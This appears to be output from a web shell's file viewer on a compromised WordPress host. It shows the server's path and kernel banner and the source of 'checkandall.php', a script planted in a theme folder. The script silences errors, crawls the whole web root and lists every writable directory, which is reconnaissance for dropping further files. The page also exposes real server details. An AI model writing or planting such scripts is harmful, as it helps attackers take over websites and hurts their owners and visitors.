| Current Path : /home/scoots/www/wp-content/themes/scoots33/ |
Linux webm004.cluster110.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 |
| Current File : /home/scoots/www/wp-content/themes/scoots33/checkandall.php |
<?php
error_reporting(0);
function GetListFiles($folder,&$all_files){
$fp=opendir($folder);
while($cv_file=readdir($fp)) {
if(is_file($folder."/".$cv_file)) {
if(is_writable($folder)){
$all_files[]=$folder."/*";
}
}elseif($cv_file!="." && $cv_file!=".." && is_dir($folder."/".$cv_file)){
GetListFiles($folder."/".$cv_file,$all_files);
}
}
closedir($fp);
}
$all_files=array();
GetListFiles("/home/scoots/www/",$all_files);
$result = array_unique($all_files);
print_r($result);
?>